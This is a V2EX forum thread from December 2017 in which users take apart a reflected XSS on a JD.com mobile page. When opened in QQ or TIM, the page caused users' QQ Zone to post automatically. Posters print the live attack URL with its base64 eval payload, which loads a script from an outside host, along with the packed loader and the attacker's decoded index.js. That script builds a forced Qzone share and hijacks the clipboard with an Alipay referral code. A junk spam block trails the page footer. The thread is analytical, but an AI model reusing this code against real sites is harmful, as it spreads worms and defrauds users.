这是京东被日了? qq 或 tim 打开就会自动发说说 - V2EX
V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
工单节点使用指南
请用平和的语言准确描述你所遇到的问题
厂商的技术支持和你一样也是有喜怒哀乐的普通人类,尊重是相互的
如果是关于 V2EX 本身的问题反馈,请使用 反馈 节点
cy97cool
V2EX    全球工单系统

这是京东被日了? qq 或 tim 打开就会自动发说说

  •  3
     
  •   cy97cool 2017-12-22 14:39:24 +08:00 via Android 8961 次点击
    这是一个创建于 281 天前的主题,其中的信息可能已经有所发展或是发生改变。
    这是京东被日了? qq 或 tim 打开就会自动发说说

    weibo 短链接 /RTkcmPE

    v2ex 不能发短链接,所以感兴趣的可以手动构造出完整 url

    在 qq 或 tim 中慎点 如果点了及时删空间说说
    第 1 条附言    2017-12-22 18:16:09 +08:00
    京东 xss 已经修了
    39 条回复    2017-12-22 18:53:49 +08:00
    cy97cool
        1
    cy97cool  
    OP
       2017-12-22 14:41:20 +08:00 via Android
    还原的长链接

    http://initem.m.jd.com/product/1.html?奔驰男撞人还打人!嚣张气焰终于被干了!过瘾...24101"};eval(atob('dmFyIHM9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpOw0Kcy5zcmMgPSAiaHR0cDovL3d3dy5xcXZpZGVvLmdhL3htbC5waHAiOw0KZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChzKTs='));x={c:"x
    mozutaba
        2
    mozutaba  
       2017-12-22 14:42:24 +08:00 via Android
    eval 这个函数你不觉得眼熟嘛?
    cy97cool
        3
    cy97cool  
    OP
       2017-12-22 14:50:28 +08:00 via Android
    jd 这个页面有 xss

    atob 解密出来是

    "var s= document.createElement(\"script\");

    s.src = \"http://www.qqvideo.ga/xml.php\";

    document.head.appendChild(s);"
    cy97cool
        4
    cy97cool  
    OP
       2017-12-22 14:51:58 +08:00 via Android
    在 qq 中点开这个 php 链接得到的是

    (~eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('r=f(){l s};f m(6){7 4="";p(7 i=0;i<6.q;i++){7 a=6.t(i);e(a=="+"){4+=" "}d e(a=="%"){7 b=6.n(i+1,i+3);e(j("h"+b)>w){4+=x("%"+6.n(i+1,i+9));i+=8}d{4+=u.v(j("h"+b));i+=2}}d{4+=a}}l 4}f o(k){5.M("N/O","J");5.K(m(L(k.R)));5.Q()}7 g=5.P("B");g.C="y://z.D.H/I.G?E=c";5.F.A(g);',54,54,'||||ret|document|str|var|||chr|asc||else|if|function|vs|0x||parseInt|req|return|URLdecode|substring|callback_vs|for|length|onerror|true|charAt|String|fromCharCode|0x7f|decodeURI|http|www|appendChild|script|src|qqvideo|ac|head|php|ga|xml|replace|write|atob|open|text|html|createElement|close|content'.split('|'),0,{})))


    不知道咋解密这 js。。。也许已经访问过会不一样?
    fucker
        5
    fucker  
       2017-12-22 14:55:43 +08:00
    洁癖用户试试这个


    http://initem.m.jd.com/product/1.html?%22};eval(console.log(%27XSS%20TEST%27));x={c:%22x
    cy97cool
        6
    cy97cool  
    OP
       2017-12-22 14:58:44 +08:00 via Android
    @fucker
    京东的 xss 已经很显然了,但在用户不知情的情况下自动发说说咋实现的 这一点也许更有趣
    Va1n3R
        7
    Va1n3R  
       2017-12-22 15:04:00 +08:00   1
    京东的反射性 XSS+腾讯 QQ 空间的 CSRF,如果在 qq 空间中所发的内容包含原短连接,那么就是组合型的蠕虫漏洞的。

    京东的 XSS 经过了混淆的,大概意思就是从 http://www.qqvideo.ga/xml.php 这个页面获取下一步动作

    电脑访问会跳转到腾讯视频,手机访问则会直接执行恶意代码

    ###修改 UA 访问以下链接就会得到不同的内容。
    http://www.qqvideo.ga/xml.php
    fucker
        8
    fucker  
       2017-12-22 15:06:41 +08:00   1
    @cy97cool 你用 QQ 浏览器或者 QQ 内嵌浏览器,目测可以执行代码,自动发说说。
    如果你换其他浏览器,或者清空 QQ 浏览器 cookie,那是肯定不能发说说的。
    估计是 csrf
    Va1n3R
        9
    Va1n3R  
       2017-12-22 15:07:27 +08:00   1
    @cy97cool 可以搜一搜 CSRF 漏洞,大概意思就是 http://www.qq.com/forget.php 这个是一个忘记密码的页面,一般需要用户自己进去,但是黑客可以构造一个页面让你访问后直接访问 http://www.qq.com/forget.php?yes 这个页面,造成的效果就是访问了一个其他的页面,缺执行了 qq 里面的动作。 一般是没有加上 token 造成的漏洞。楼主这个地方也可能是别的漏洞造成的,但是我觉得 CSRF 可能性最大。
    cy97cool
        10
    cy97cool  
    OP
       2017-12-22 15:09:24 +08:00 via Android
    @Va1n3R 原理其实我都懂。。。。只是想知道这个 csrf 的具体实现
    fucker
        11
    fucker  
       2017-12-22 15:11:36 +08:00
    @cy97cool 看到#7 @Va1n3R 的回复,估计差不多了。
    那段 js 是混淆过的,(常年目测 md5 值的)我目测是模拟用户发布说说的动作
    cy97cool
        12
    cy97cool  
    OP
       2017-12-22 15:17:53 +08:00 via Android
    @Va1n3R 大神能不能解密一下人家这 xml.php 啊

    我已经在 4 楼给出了,但尝试执行也会报 c35 没定义的错。。。手动把 c35 定义为 0 可以得到内容但网址是 undefined
    janxin
        13
    janxin  
       2017-12-22 15:19:07 +08:00
    刚刚试了一下已经修了?
    fucker
        14
    fucker  
       2017-12-22 15:19:37 +08:00
    @cy97cool 那你直接 document.write 一下呀,把 eval 去掉就可以了
    janxin
        15
    janxin  
       2017-12-22 15:19:57 +08:00
    看错了还没修
    ljsh0102
        16
    ljsh0102  
       2017-12-22 15:20:25 +08:00
    没生效啊
    cy97cool
        17
    cy97cool  
    OP
       2017-12-22 15:23:04 +08:00 via Android
    @fucker 你试试咯。。。。
    c35 is not defined

    难道 qq 浏览器有啥 js 内置变量导致这个判断能过?
    fucker
        18
    fucker  
       2017-12-22 15:23:31 +08:00   1
    @cy97cool 应该是对别的 js 的 hack,没有上下文关系,当然是未定义了
    pelloz
        19
    pelloz  
       2017-12-22 15:24:29 +08:00   4
    将 c35 分别等于 true 和 false 可以得到两份代码,然后将两份代码合并就能得到完整代码
    ----------------------
    Onerror= function () { return true };

    function URLdecode(str) {
    var ret = "";
    for (var i = 0;
    i < str.length;
    i++) {
    var chr = str.charAt(i);
    if (chr == "+") { ret += " " } else if (chr == "%") {
    var asc = str.substring(i + 1, i + 3);
    if (parseInt("0x" + asc) > 0x7f) {
    ret += decodeURI("%" + str.substring(i + 1, i + 9));
    i += 8
    } else {
    ret += String.fromCharCode(parseInt("0x" + asc));
    i += 2
    }
    } else { ret += chr }
    } return ret
    }

    function callback_vs(req) {
    document.open("text/html", "replace");
    document.write(URLdecode(atob(req.content)));
    document.close()
    }

    var vs = document.createElement("script");

    vs.src = "http://www.qqvideo.ga/xml.php?ac==c";


    document.head.appendChild(vs);
    -----------------------------
    Va1n3R
        20
    Va1n3R  
       2017-12-22 15:25:41 +08:00   4
    解开了,上面第一次获取的是一个 GET 访问动作:
    http://www.qqvideo.ga/xml.php?ac=c
    获取下一步操作
    内容是一段 base64 和 URLencode 的处理过的,
    ```HTML
    <!doctype html><html><head><title>精彩视频分享!</title><meta charset="utf-8"><meta cOntent="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0"name="viewport"/><link rel="stylesheet"href="http://www.qqvideo.ga/inc/css.css?121509"><script src="http://apps.bdimg.com/libs/jquery/2.1.1/jquery.min.js"></script><script src="http://www.qqvideo.ga/inc/clipboard.min.js"></script><script src="http://imgcache.gtimg.cn/tencentvideo_v1/tvp/js/tvp.player_v2.js"></script><meta itemprop="name"cOntent=""/><meta itemprop="image"cOntent=""/><meta name="description"itemprop="description"cOntent=""/></head><body><div class="rich_media_title"></div><div class="videoId" id="videoId"></div><div class="winfo"><div class="txttj"><ul id="text_info"></ul></div><div class="imgtj"><div class="wntj"><span>为你推荐</span></div><div class="imgtjlist"></div></div></div><div class="fxbac"></div><div class="sharebox"><div class="p1msg">请分享到 QQ 空间!<br>分享完成后可继续观看。</div><div class="box-bottom"><a class="button-l"href='Javascript:;'rel="noreferrer">立即分享</a><span class="button-r">取消</span></div></div><script type="text/Javascript"src="http://www.qqvideo.ga/index.js?121535"></script><span style="display:none;"><script src="https://js.users.51.la/6036599.js"></script></span><span id="bottom">Copyright&copy 2017-2018</span></body></html>
    ```
    懒的搞了,服了这些黑产的....
    ljsh0102
        21
    ljsh0102  
       2017-12-22 15:29:09 +08:00
    为毛我试了一圈没见生效啊,修复啦
    Va1n3R
        22
    Va1n3R  
       2017-12-22 15:30:08 +08:00
    @ljsh0102 手机点开,或者电脑修改 user-agent
    Telegram
        23
    Telegram  
       2017-12-22 15:30:12 +08:00 via iPhone
    就是喜欢你们这帮懂 js 的技术宅,贼可爱。
    那么问题来了,京的人呢,还不进来领漏洞?
    cy97cool
        24
    cy97cool  
    OP
       2017-12-22 15:32:46 +08:00 via Android
    @Va1n3R
    谢谢大佬

    看起来还需要继续跟进 index.js 也许才知道 csrf 咋实现的
    ljsh0102
        25
    ljsh0102  
       2017-12-22 15:35:19 +08:00
    @Va1n3R 手机点开打不开网页.....
    cy97cool
        26
    cy97cool  
    OP
       2017-12-22 15:37:41 +08:00 via Android
    @ljsh0102 我用手机 tim 打开本帖
    t/416827#reply24

    可以点开 1L 的长链接
    dlllcs
        27
    dlllcs  
       2017-12-22 15:38:50 +08:00   1
    http://www.qqvideo.ga/index.js?121535:

    var sharesta=false;
    var voddata;
    var vodpic;
    var zCode=["iSVjBI77a7","stEIuv853z","XIPF0u52Nk"];

    function setCookie(name,value,Days){
    var exp = new Date();
    exp.setTime(exp.getTime() + Days*24*60*60*1000);
    document.cookie = name + "="+ escape (value) + ";expires=" + exp.toGMTString();
    }
    function getCookie(name){
    var arr,reg=new RegExp("(^| )"+name+"=([^;]*)(;|$)");
    if(arr=document.cookie.match(reg))
    return unescape(arr[2]);
    else
    return null;
    }
    function AutoScroll(obj) {
    $(obj).find("ul:first").animate({
    marginTop: "-30px"
    },
    500,
    function() {
    $(this).css({
    marginTop: "0px"
    }).find("li:first").appendTo(this);
    });
    }
    function checkplay(){
    var myAudio = document.getElementById('tenvideo_video_player_0');
    if(myAudio!==null){
    var ptime=myAudio.currentTime;
    if(!myAudio.paused){
    if(ptime >= voddata.playtime && getCookie("share_"+voddata.movieid)!="True"){
    $(".fxbac").css('display','block');
    $(".sharebox").css('display','block');
    //$(".tvp_poster_img").html('<div style="background:url( http://ugc.qpic.cn/gbar_pic/NjBmHRR7MAXeUF3BMAbHianSiah4ic0VArvIMjmNK7EDL3AlVERHecYoA/0); opacity:0.9;filter:alpha(opacity=90); width:235px; height:50px; margin:10px auto;"></div>');
    myAudio.pause();
    }else{
    $(".fxbac").css('display','none');
    $(".sharebox").css('display','none');
    myAudio.play();
    }
    }
    }
    }
    function loadplayer(){
    var video = new tvp.VideoInfo();
    video.setVid(voddata.movieid);
    var player = new tvp.Player();
    player.create({
    video: video,
    modId: "videoId",
    width:$(document).width(),
    height:"240",
    pic:vodpic,
    isHtml5ShowPosterOnEnd:true,
    isHtml5ShowPlayBtnOnPause:true,
    isiPhoneShowPosterOnPause:true,
    vodFlashSkin:'http://imgcache.qq.com/minivideo_v1/vd/res/skins/TencentPlayerMiniSkin.swf',
    });
    setInterval(checkplay,1000);
    }
    function loadplayer2(){
    var video = new tvp.VideoInfo();
    video.setVid(voddata.movieid);
    var player = new tvp.Player($(document).width(), 250);
    player.setCurVideo(video);
    player.addParam("autoplay",0);
    player.write("videoId");
    setInterval(checkplay,1000);
    }
    function open_url(link){
    var html='<a href="'+link+'" target="_blank" rel="noreferrer"><i id="clickobj">link</i></a>';
    $("#bottom").prepend(html);
    $("#clickobj").trigger('click');
    $("a").remove("#bottom a");
    }
    function loadindex(){
    $.getJSON(atob("aHR0cDovL3d3dy5xcXZpZGVvLmdhL2dldGRhdGEucGhw")+'?'+ Math.random(), function(data){
    voddata =data.movie;
    vodpic="http://shp.qpic.cn/qqvdeo_ori/0/"+voddata.movieid+"_496_280/0";
    $(document).attr("title",voddata.title);
    $('.rich_media_title').html(voddata.title);
    $("meta[itemprop='name']").attr('content',voddata.title);
    $("meta[itemprop='image']").attr('content',vodpic);
    $("meta[itemprop='description']").attr('content',voddata.desc);
    $.each(data.textad, function(key, content){
    $("#text_info").append("<li><a href='Javascript:;' Onclick=\"open_url('"+content.url+"')\">"+content.title+"</a></li>");
    });
    $.each(data.imgad, function(key, content){
    $(".imgtjlist").append("<div class='imgtj_list' Onclick=\"open_url('"+content.url+"')\"><span>"+content.title+"</span><img src='"+content.img+"'></div>");
    });
    $("#bottom").html(atob(data.botinfo));
    setInterval('AutoScroll(".txttj")', 5000);
    loadplayer();
    });
    }
    $(function() {
    loadindex();
    $(".button-r")["on"]("click",
    function() {
    $(".fxbac")["css"]('display', 'none');
    $(".sharebox")["css"]('display', 'none')
    });
    $(".button-l")["on"]("click",
    function() {
    setCookie("share_" + voddata["movieid"], "True", 1);
    var mfkL1 = {
    url: voddata["surl"],
    desc: '',
    summary: voddata["desc"],
    site: '',
    page: 'qzshare.html',
    logintype: 'qzone',
    referer: voddata["surl"],
    title: voddata["title"],
    loginpage: 'loginindex.html',
    imageUrl: vodpic,
    };
    var zd2 = [];
    for (var syZ3 in mfkL1) {
    zd2["push"](syZ3 + '=' + encodeURIComponent(mfkL1[syZ3] || ''))
    }
    var BiDOtNO5 = ['https://h5.qzone.qq.com/q/qzs/open/connect/widget/mobile/qzshare/index.html?', zd2["join"]('&'), '']["join"]('');
    $(".button-l")["attr"]('href', BiDOtNO5);
    return true
    });
    $('body')["click"](function(jDRjcc7) {
    var QBEUb8 = new Clipboard(('body'));
    $('body')["attr"]('data-clipboard-text', '复制这句话,打开支付宝领取大大大红包!还有惊喜红包等你拿!&' + zCode[window["Math"]["floor"](window["Math"]["random"]() * zCode["length"])] + '&')
    })
    });
    var PLvy9 = $(window["document"]);
    var gtjtc10 = 0;
    var kstowPzk11 = 0;
    addEventListener("touchstart",
    function(yzb12) {
    gtjtc10 = yzb12["touches"][0]["pageY"]
    });
    addEventListener("touchmove",
    function(Y13) {
    kstowPzk11 = Y13["touches"][0]["pageY"];
    if (PLvy9["scrollTop"]() <= 0 && gtjtc10 < kstowPzk11) {
    Y13["preventDefault"]();
    if ($('#_domain_display')["length"] <= 0) {
    $('body')["prepend"]('<div id="_domain_display"><p>\u7f51\u9875\u7531 www.qq.com \u63d0\u4f9b</p></div>')
    }
    $('#_domain_display')["height"]((kstowPzk11 - gtjtc10))
    }
    });
    addEventListener("touchend",
    function(FhKmnhn14) {
    $('#_domain_display')["slideUp"]('normal',
    function() {
    $('#_domain_display')["remove"]()
    })
    });
    Va1n3R
        28
    Va1n3R  
       2017-12-22 15:49:40 +08:00   1
    var BiDOtNO5 = ['https://h5.qzone.qq.com/q/qzs/open/connect/widget/mobile/qzshare/index.html?', zd2["join"]('&'), '']["join"]('');
    $(".button-l")["attr"]('href', BiDOtNO5);
    return true
    });
    button-l 就是这个按钮咯~黑阔直接帮你点了分享按钮,所以访问即发空间~
    dlllcs
        29
    dlllcs  
       2017-12-22 15:49:51 +08:00   1
    主要发说说的代码, 不过好像我测试好像已经失效了:

    ```
    $(function() {
    loadindex();
    $(".button-r")["on"]("click",
    function() {
    $(".fxbac")["css"]('display', 'none');
    $(".sharebox")["css"]('display', 'none')
    });
    $(".button-l")["on"]("click",
    function() {
    setCookie("share_" + voddata["movieid"], "True", 1);
    var mfkL1 = {
    url: voddata["surl"],
    desc: '',
    summary: voddata["desc"],
    site: '',
    page: 'qzshare.html',
    logintype: 'qzone',
    referer: voddata["surl"],
    title: voddata["title"],
    loginpage: 'loginindex.html',
    imageUrl: vodpic,
    };
    var zd2 = [];
    for (var syZ3 in mfkL1) {
    zd2["push"](syZ3 + '=' + encodeURIComponent(mfkL1[syZ3] || ''))
    }
    var BiDOtNO5 = ['xxxx?', zd2["join"]('&'), '']["join"]('');
    $(".button-l")["attr"]('href', BiDOtNO5);
    return true
    });
    $('body')["click"](function(jDRjcc7) {
    var QBEUb8 = new Clipboard(('body'));
    $('body')["attr"]('data-clipboard-text', '复制这句话,打开支付宝领取大大大红包!还有惊喜红包等你拿!&' + zCode[window["Math"]["floor"](window["Math"]["random"]() * zCode["length"])] + '&')
    })
    });
    ```
    Va1n3R
        30
    Va1n3R  
       2017-12-22 15:50:17 +08:00   1
    算得上是 CSRF,角度很刁钻。
    dlllcs
        31
    dlllcs  
       2017-12-22 15:52:32 +08:00   2
    另外,好像不止发说说,还帮你复制了他们的支付宝红包码,在你下次打开支付宝会自动打开他们的红包...

    结论: 又一个为了赚支付宝红包的程序员干的...
    birds7
        32
    birds7  
       2017-12-22 16:59:48 +08:00
    JD 这到现在还没修
    x86
        33
    x86  
       2017-12-22 17:03:30 +08:00
    @dlllcs 支付宝都有了,那抓他就是看两边公司是否愿意报案了
    dong3580
        34
    dong3580  
       2017-12-22 17:30:39 +08:00
    @dlllcs
    原来是这样,前不久出现过打开支付\n 宝自动弹\n 窗红\n 包的情况,不知道那个软件对剪切板下手了,
    dong3580
        35
    dong3580  
       2017-12-22 17:31:41 +08:00
    @Livid
    v2 回帖已经成这样了...唉...
    不知道哪个关键字触发了?
    Livid
        36
    Livid  
    MOD
    PRO
       2017-12-22 17:48:39 +08:00
    dong3580
        37
    dong3580  
       2017-12-22 18:22:35 +08:00 via Android
    @Livid
    明白
    Jverson
        38
    Jverson  
       2017-12-22 18:25:00 +08:00
    @cy97cool 是不是已经修了,试了一下不行啊
    fox0001
        39
    fox0001  
       2017-12-22 18:53:49 +08:00
    说说是什么?
    关于     帮助文档     自助推广系统     博客     API     FAQ     Solana     1480 人在线   最高记录 6679       Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 26ms UTC 16:24 PVG 00:24 LAX 09:24 JFK 12:24
    Do have faith in what you're doing.
    ubao snddm index pchome yahoo rakuten mypaper meadowduck bidyahoo youbao zxmzxm asda bnvcg cvbfg dfscv mmhjk xxddc yybgb zznbn ccubao uaitu acv GXCV ET GDG YH FG BCVB FJFH CBRE CBC GDG ET54 WRWR RWER WREW WRWER RWER SDG EW SF DSFSF fbbs ubao fhd dfg ewr dg df ewwr ewwr et ruyut utut dfg fgd gdfgt etg dfgt dfgd ert4 gd fgg wr 235 wer3 we vsdf sdf gdf ert xcv sdf rwer hfd dfg cvb rwf afb dfh jgh bmn lgh rty gfds cxv xcv xcs vdas fdf fgd cv sdf tert sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf shasha9178 shasha9178 shasha9178 shasha9178 shasha9178 liflif2 liflif2 liflif2 liflif2 liflif2 liblib3 liblib3 liblib3 liblib3 liblib3 zhazha444 zhazha444 zhazha444 zhazha444 zhazha444 dende5 dende denden denden2 denden21 fenfen9 fenf619 fen619 fenfe9 fe619 sdf sdf sdf sdf sdf zhazh90 zhazh0 zhaa50 zha90 zh590 zho zhoz zhozh zhozho zhozho2 lislis lls95 lili95 lils5 liss9 sdf0ty987 sdft876 sdft9876 sdf09876 sd0t9876 sdf0ty98 sdf0976 sdf0ty986 sdf0ty96 sdf0t76 sdf0876 df0ty98 sf0t876 sd0ty76 sdy76 sdf76 sdf0t76 sdf0ty9 sdf0ty98 sdf0ty987 sdf0ty98 sdf6676 sdf876 sd876 sd876 sdf6 sdf6 sdf9876 sdf0t sdf06 sdf0ty9776 sdf0ty9776 sdf0ty76 sdf8876 sdf0t sd6 sdf06 s688876 sd688 sdf86